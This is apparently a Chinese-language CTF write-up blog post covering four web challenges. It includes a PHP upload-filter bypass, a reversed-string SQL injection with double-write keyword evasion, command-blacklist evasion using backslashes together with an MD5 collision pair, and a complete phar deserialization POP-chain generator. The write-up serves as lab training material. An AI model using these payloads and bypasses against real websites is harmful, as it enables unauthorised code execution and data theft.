微信支付 网站备案,wordpress 企业网站 教程,网站开发与电子商务,企业网站源代码免费下载[NSSCTF 2nd]php签到 首先#xff0c;代码定义了一个名为 waf 的函数#xff0c;用于执行一个简单的文件扩展名检查来防止上传恶意文件。 $black_list 是一个存储不允许的文件扩展名的数组#xff0c;如 “ph”、“htaccess” 和 “ini”。 pathinfo($filename, PATHINF…[NSSCTF 2nd]php签到 首先代码定义了一个名为 waf 的函数用于执行一个简单的文件扩展名检查来防止上传恶意文件。 $black_list 是一个存储不允许的文件扩展名的数组如 “ph”、“htaccess” 和 “ini”。 pathinfo($filename, PATHINFO_EXTENSION) 用于获取上传文件的扩展名。 在 foreach 循环中代码检查上传文件的扩展名是否在黑名单中。如果扩展名在黑名单中函数返回 false否则返回 true。 如果用户通过 POST 请求上传了文件if(isset($_FILES[file])) 部分 urldecode($_FILES[file][name]) 用于获取上传文件的名称并对其进行 URL 解码。 file_get_contents($_FILES[file][tmp_name]) 用于获取上传文件的临时路径并读取其内容。 waf($filename) 调用了上述定义的 waf 函数检查上传文件的扩展名是否在黑名单中。 如果通过检查返回 true则使用 file_put_contents($filename, $content) 将上传文件的内容写入服务器上的一个新文件。 如果未通过检查返回 false则显示 “Please re-upload”即要求用户重新上传文件。 如果没有上传文件的 POST 请求else 部分 highlight_file(__FILE__) 用于将当前代码文件的内容高亮显示在浏览器中使用户能够查看代码。 这题看似上了waf把能够造成敏感文件的php、配置文件等都给搬掉了但是这里使用了file_put_contents()以及urlencode当我们上传test.php/.这样的文件时候因为file_put_contents()第一个参数是文件路径操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件最后上传的结果就为test.php。 这里一开始只有代码我们需要通过上传表单来提交文件这里放个表单的代码 然后这里用/.绕过 url编码是%2f%2e 然后访问 我的不知道为什么不行
看到大佬的脚本 然后访问1.php
得到flag [NUSTCTF 2022 新生赛]ezProtocol
环境打不开
[UUCTF 2022 新生赛]ezsql
非常直白那就注给他看 注入1‘ or 11#发现回显是倒序 并且or被过滤掉了闭合条件是) admin/passw更明显 用bp进行fuzz测试发现没什么过滤项先注看看回显位 开注
爆库#)(esabatad,1 tceles noinu )1 因为过滤了or所以group和from在倒序之后都会被过滤
所以我们在构造的时候就写成grrooup和frroom 倒序的时候就不会被过滤了
爆表 # FTCUUamehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )1 爆列名 要不是输出语句有变化我还以为我回去了
# galfeman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )1 查字段内容 #galf.FTCUU moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )1
得到flag基础的sql题型 一个双写绕过就ok了 [安洵杯 2019]easy_web
发现了base64编码 需要两次解码 但是好像解出来没啥用 查过才知道这个是hex编码也就是说 是先进行了hex编码然后进行了两次base64加密才得到的最后编码 利用这种方式对flag.php进行编码 发现没flag 看一下index.php有没有什么东西 在源代码里找到了base64 编码的图片 解码得到源代码过滤的真多啊 ?php error_reporting(E_ALL || ~ E_NOTICE); header(content-type:text/html;charsetutf-8); $cmd $_GET[cmd]; if (!isset($_GET[img]) || !isset($_GET[cmd])) header(Refresh:0;url./index.php?imgTXpVek5UTTFNbVUzTURabE5qYz0cmd); $file hex2bin(base64_decode(base64_decode($_GET[img]))); $file preg_replace(/[^a-zA-Z0-9.]/, , $file); if (preg_match(/flag/i, $file)) { echo img src ./ctf3.jpeg; die(xixi no flag); } else { $txt base64_encode(file_get_contents($file)); echo img srcdata:image/gif;base64, . $txt . /img; echo br; } echo $cmd; echo br; if (preg_match(/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\|\|\|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\[^\d]||\||\\$|\[|\]|{|}|\(|\)|-||/i, $cmd)) { echo(forbid ~); echo br; } else { if ((string)$_POST[a] ! (string)$_POST[b] md5($_POST[a]) md5($_POST[b])) { echo $cmd; } else { echo (md5 is funny ~); } } ? 好像是没过滤 \ 空格也被过滤掉了 可以用反斜杠搞事
还有一个md5强比较同时进行了字符串处理也就是说我们不能再用数组绕过了
利用强比较
aM%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2bM%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 bp绕过
l\s/ 看到flag文件直接cat
ca\t/f\l\a\g 全都用反斜杠来处理 [SWPU 2018]SimplePHP
查看文件的源码看到了 发现读不出来 读取index.php发现能读 看一下base.php,看到源码了 看源代码发现了upload_file.php function.php 看class.php发现了序列化不出意外就是传phar了之前做过好多了 ?php class C1e4r { public $test; public $str; public function __construct($name) { $this-str $name; } public function __destruct() { $this-test $this-str; echo $this-test; } } class Show { public $source; public $str; public function __construct($file) { $this-source $file; //$this-source phar://phar.jpg echo $this-source; } public function __toString() { $content $this-str[str]-source; return $content; } public function __set($key,$value) { $this-$key $value; } public function _show() { if(preg_match(/http|https|file:|gopher|dict|\.\.|f1ag/i,$this-source)) { die(hacker!); } else { highlight_file($this-source); } } public function __wakeup() { if(preg_match(/http|https|file:|gopher|dict|\.\./i, $this-source)) { echo hacker~; $this-source index.php; } } } class Test { public $file; public $params; public function __construct() { $this-params array(); } public function __get($key) { return $this-get($key); } public function get($key) { if(isset($this-params[$key])) { $value $this-params[$key]; } else { $value index.php; } return $this-file_get($value); } public function file_get($value) { $text base64_encode(file_get_contents($value)); return $text; } } ? 构造生成phar文件 ?php class C1e4r { public $test; public $str ; } class Show { public $source; public $str; } class Test { public $file; public $params; } $c1e4r new C1e4r(); $show new Show(); $c1e4r-str$show; $test new Test(); $show-strarray(str$test); $test-paramsarray(source/var/www/html/f1ag.php); $phar new Phar(ddd.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER();?); $phar-setMetadata($c1e4r); $phar-addFromString(test.txt,test); $phar-stopBuffering(); ? 得到phar文件后缀改成jpg文件然后上传就ok了 访问ip/upload得到文件路径用phar协议访问得到flag 解码得到flag 这道题主要是在phar反序列化的构造上以及任意文件的读取